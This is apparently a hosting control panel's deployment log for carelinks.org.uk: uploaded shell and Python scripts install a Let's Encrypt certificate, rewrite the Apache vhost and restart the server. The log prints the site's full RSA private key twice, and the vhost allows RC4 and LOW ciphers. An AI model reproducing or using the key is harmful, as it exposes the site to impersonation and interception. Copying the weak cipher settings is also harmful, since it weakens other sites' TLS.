Z6+Q4806O2swRxMtFripCpI3K37+80pJNs55pzpfQMfdXMj36/TT7Z+uCanmKjkD
qWU9Ejk=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCyyf4Whirp/Go7
qKJMMLXopIx73RsgXD0RIPzPykrVrWB1AoGqcqUUXlSqFwp3pZRliIWTLEyzT+VX
VLkO1D2tw72E9ne6bQLnJ15z0huzMB0opzfxVZn7IaXxKSrfAkHNHkAXfT9bEJSd
lp8OwGxwESnQKrJ6PL1YtBNqHJIqydzhxDzyY+62HIsQ879KCyCAmraMxAn4yBO/
q5h6S0wN0b+Fer8QtlxHh4vY0dCDQ3zuTnUZrbwErdtcsqpFggDIpdU0VmCm2vwt
1/vYKjKs+ulZE1EK0H9m7KF8eexFzNrgudxUHHlJHxcpewC4THF+eTUZNwx8LOsx
GP3L3OtDAgMBAAECggEAELVAugEizIgKs3WQaTdaIJoUCNVCXjVQfaPMDG0Wrj5M
F9M6o9+f3rXsCpMppsHCCvUFqpnGtzEduRoRSzn5Y545vU29JZ5fWZO7x24YqZey
+eQancKGp8netJlIyNtwo8cSbT+Gpq93e/yh86J238gy1KHQ2QyJE1uMvutZm4bm
y+XtRjI9tfVBH5kZykytSjiHmaLmjwYioMQ9wr2wLPwu8kOwXYR36eVk6ZqTzSWO
GduX+rTRTRZtbYFvVw6D5LL2bMoSqtO23qCB97OGgjjPVigx1wgVX3Jtf6j1u68o
jmjYHM5/ZYndz2IpBs+F5qAisYdR4+iYa8oidfmFEQKBgQDdGfF/e9tA6YknmfCz
IMcsfHfV+Xpw9D6Z6Yy/P3lOQx/v+s38s2whf5/qK+MOIObpnRou0JKc3YqHswFY
5pVHH/ri4BcSXFoV4AFIjLQeNa29w9Wr6QR0CVMPDMSNkSDw1dcTwv0sci4XVoHR
8DMqviDmYRrnvBQMFEGSjLbzEQKBgQDPAlU6+zRPkzp/tN2UPjqrhP1+x2PsU7Jk
IDHC+Oz/ShAiPm1deR1G/fBADaLFp/aoiLSgTwzIwfQCYwlf5XuY8SIHF8OE1+UK
5+/haV50XT9E/5O1wjngSkaqUi3Rtei+O+ZV4lVxVDP32dRnMOiSQXDPOW++4Dh1
QrrxcFjREwKBgDKO3iQypD5BqLU/hETRt/m6NITfWVo+35m+SArrbsewnbr4dOXV
+WHnlx+rDW6Lo4HEBNqzovLvzd+d1S8I+xWagHokl+IA8DCUWnbGheFqkOIVx+RZ
kkUeZLnKR5+/kfLAU0AXlGD3cwavJ1xkOq8Jbuh/R/G5ljP05dGnD6ahAoGAUXpG
l692GHgHh2pl6EpSB16R9AuA3ezXgydUzrvxdE3vabsOisL37hBXNq7nSUrh/9XG
2m4ixwXoB+R5NSB69Gi8jvQghbIAObmuphc2ETD+jSbXOawX4Zr6k2FDHY6u6+lh
sJ4kKTYOOlinjHIoqCBPyZB+1i8kqaq5L/ybSLcCgYABk161F8X4VPnbEUSl6hPR
ScY1EpTHWuvK6XbeDaLBWqsvsrhurPuiOtU8HYEuk/D3djERU5w1L8OiGJ7vMMbZ
08hUBbnA9F/oqqnqOAqv6DpDmJzNdwynyqg0ezIv5hYD7q036HsXEYpKW3eZy8tp
ShluxwQvS8fdPzQfH2mrBg==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-06 06:00:25: 

chmod 755 /tmp/pkp525501; /tmp/pkp525501; rm /tmp/pkp525501

2026-03-06 06:00:25: 


dir=/etc/ssl/certs


2026-03-06 06:00:25: 

PUT: /tmp/pkp545187

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/carelinks_www_org-uk.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-06 06:00:25: 

chmod 755 /tmp/pkp545187; /tmp/pkp545187; rm /tmp/pkp545187

2026-03-06 06:00:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_www_org-uk.conf 44

<VirtualHost *:80>
    ServerName	carelinks.org.uk
    ServerAlias	www.carelinks.org.uk
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_error.log
    SetEnv pkp_uid	36
    SetEnv pkp_owner	carelinksuk
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks.org.uk
    ServerAlias	www.carelinks.org.uk
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-03-06 06:00:25: 

PUT: /tmp/pkp340602

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinks_www_org-uk.conf
TARGET=/etc/apache2/sites-enabled/carelinks_www_org-uk.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	carelinks.org.uk
    ServerAlias	www.carelinks.org.uk
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_error.log
    SetEnv pkp_uid	36
    SetEnv pkp_owner	carelinksuk
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks.org.uk
    ServerAlias	www.carelinks.org.uk
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/carelinks_www_org-uk.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/carelinks_www_org-uk.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinks_www_org-uk.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinks_www_org-uk.conf= 1'
fi


2026-03-06 06:00:25: 

chmod 755 /tmp/pkp340602; /tmp/pkp340602; rm /tmp/pkp340602

2026-03-06 06:00:25: 




2026-03-06 06:00:25: 

PUT: /tmp/pkp263754

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-06 06:00:25: 

chmod 755 /tmp/pkp263754; /tmp/pkp263754; rm /tmp/pkp263754

2026-03-06 06:00:25: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-06 06:00:25: Establishing a connection
2026-03-06 06:00:25: 

PUT: /tmp/pkp573842

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-06 06:00:25: 

chmod 755 /tmp/pkp573842; /tmp/pkp573842; rm /tmp/pkp573842

2026-03-06 06:00:25: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-06 06:00:25: 

PUT: /tmp/pkp590294

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/carelinks_www_org-uk.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-06 06:00:25: 

chmod 755 /tmp/pkp590294; /tmp/pkp590294; rm /tmp/pkp590294

2026-03-06 06:00:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_www_org-uk.conf	1403

<VirtualHost *:80>
    ServerName	carelinks.org.uk
    ServerAlias	www.carelinks.org.uk
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_error.log
    SetEnv pkp_uid	36
    SetEnv pkp_owner	carelinksuk
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks.org.uk
    ServerAlias	www.carelinks.org.uk
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-03-06 06:00:25: 

PUT: /tmp/pkp997029

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-06 06:00:25: 

chmod 755 /tmp/pkp997029; /tmp/pkp997029; rm /tmp/pkp997029

2026-03-06 06:00:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt	5378
e0:73:13:99:49:23:f3:2a:7c:56:7d:cf:5b:bc:08:6e

-----BEGIN CERTIFICATE-----
MIIFETCCA/mgAwIBAgISBgBiqyFgfrMBiaU0LdulEeGjMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzA2MDUwMTUzWhcNMjYwNjA0MDUwMTUyWjAbMRkwFwYDVQQD
ExBjYXJlbGlua3Mub3JnLnVrMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEAssn+FoYq6fxqO6iiTDC16KSMe90bIFw9ESD8z8pK1a1gdQKBqnKlFF5UqhcK
d6WUZYiFkyxMs0/lV1S5DtQ9rcO9hPZ3um0C5ydec9IbszAdKKc38VWZ+yGl8Skq
3wJBzR5AF30/WxCUnZafDsBscBEp0Cqyejy9WLQTahySKsnc4cQ88mPuthyLEPO/
SgsggJq2jMQJ+MgTv6uYektMDdG/hXq/ELZcR4eL2NHQg0N87k51Ga28BK3bXLKq
RYIAyKXVNFZgptr8Ldf72CoyrPrpWRNRCtB/ZuyhfHnsRcza4LncVBx5SR8XKXsA
uExxfnk1GTcMfCzrMRj9y9zrQwIDAQABo4ICNTCCAjEwDgYDVR0PAQH/BAQDAgWg
MBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFIJe
57MRjugUo/yQDHl+UlCbHMe3MB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzp
DNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxl
bmNyLm9yZy8wMQYDVR0RBCowKIIQY2FyZWxpbmtzLm9yZy51a4IUd3d3LmNhcmVs
aW5rcy5vcmcudWswEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGg
H4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8zNi5jcmwwggENBgorBgEEAdZ5AgQC
BIH+BIH7APkAdgAWgy2r8KklDw/wOqVF/8i/yCPQh0v2BCkn+OcfMxP1+gAAAZzB
u5r+AAAEAwBHMEUCIFMpQ1PzSqcsWo7qfxqkxRxtxFm0ajxj11QMM7N7xJrlAiEA
6oO2MEUdw8E1B/8XVWt1/NnQC+jwAyu7ZnJh8TefRngAfwAai51pSleYyJmgyoi9
9I/AtFZgzMNgDR9x9Gn/x9GsowAAAZzBu53bAAgAAAUAUwvsDwQDAEgwRgIhAKC7
zJ7EVw3tR9cTEY6KSo0JtSGFGta+C6Ljfa0yLX4TAiEA7HV/YG0O4AKfohv1EFLV
3R3LVFN80YP4dAKsAJKUqCcwDQYJKoZIhvcNAQELBQADggEBANf2DaTNRxdgpl9B
7O+Sx7CMyr5ZYCvAvBdf1uaYPnOsfDBaYmxrMjV3kJQl5J2puNWQEzUhOhlR7nMe
/ie4WBFgYnUa9wcQD1YOHQ4FEPOP5OIUiSa5Wd+pm5OUqp8UFQJKowTGu9C2W/mD
V+Zh6aDOIDOfCz+X82QVK6YTUTONXxSKft+2rWkcOrKVV1ciEcfnGtNP+onQUH7W
2/00jihb9iaLxp0yz1pky754pRB5OQLHafoa7BOYcaT+pq0VJNKitydxsSp3dXNz
Z6+Q4806O2swRxMtFripCpI3K37+80pJNs55pzpfQMfdXMj36/TT7Z+uCanmKjkD
qWU9Ejk=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCyyf4Whirp/Go7
qKJMMLXopIx73RsgXD0RIPzPykrVrWB1AoGqcqUUXlSqFwp3pZRliIWTLEyzT+VX
VLkO1D2tw72E9ne6bQLnJ15z0huzMB0opzfxVZn7IaXxKSrfAkHNHkAXfT9bEJSd
lp8OwGxwESnQKrJ6PL1YtBNqHJIqydzhxDzyY+62HIsQ879KCyCAmraMxAn4yBO/
q5h6S0wN0b+Fer8QtlxHh4vY0dCDQ3zuTnUZrbwErdtcsqpFggDIpdU0VmCm2vwt
1/vYKjKs+ulZE1EK0H9m7KF8eexFzNrgudxUHHlJHxcpewC4THF+eTUZNwx8LOsx
GP3L3OtDAgMBAAECggEAELVAugEizIgKs3WQaTdaIJoUCNVCXjVQfaPMDG0Wrj5M
F9M6o9+f3rXsCpMppsHCCvUFqpnGtzEduRoRSzn5Y545vU29JZ5fWZO7x24YqZey
+eQancKGp8netJlIyNtwo8cSbT+Gpq93e/yh86J238gy1KHQ2QyJE1uMvutZm4bm
y+XtRjI9tfVBH5kZykytSjiHmaLmjwYioMQ9wr2wLPwu8kOwXYR36eVk6ZqTzSWO
GduX+rTRTRZtbYFvVw6D5LL2bMoSqtO23qCB97OGgjjPVigx1wgVX3Jtf6j1u68o
jmjYHM5/ZYndz2IpBs+F5qAisYdR4+iYa8oidfmFEQKBgQDdGfF/e9tA6YknmfCz
IMcsfHfV+Xpw9D6Z6Yy/P3lOQx/v+s38s2whf5/qK+MOIObpnRou0JKc3YqHswFY
5pVHH/ri4BcSXFoV4AFIjLQeNa29w9Wr6QR0CVMPDMSNkSDw1dcTwv0sci4XVoHR
8DMqviDmYRrnvBQMFEGSjLbzEQKBgQDPAlU6+zRPkzp/tN2UPjqrhP1+x2PsU7Jk
IDHC+Oz/ShAiPm1deR1G/fBADaLFp/aoiLSgTwzIwfQCYwlf5XuY8SIHF8OE1+UK
5+/haV50XT9E/5O1wjngSkaqUi3Rtei+O+ZV4lVxVDP32dRnMOiSQXDPOW++4Dh1
QrrxcFjREwKBgDKO3iQypD5BqLU/hETRt/m6NITfWVo+35m+SArrbsewnbr4dOXV
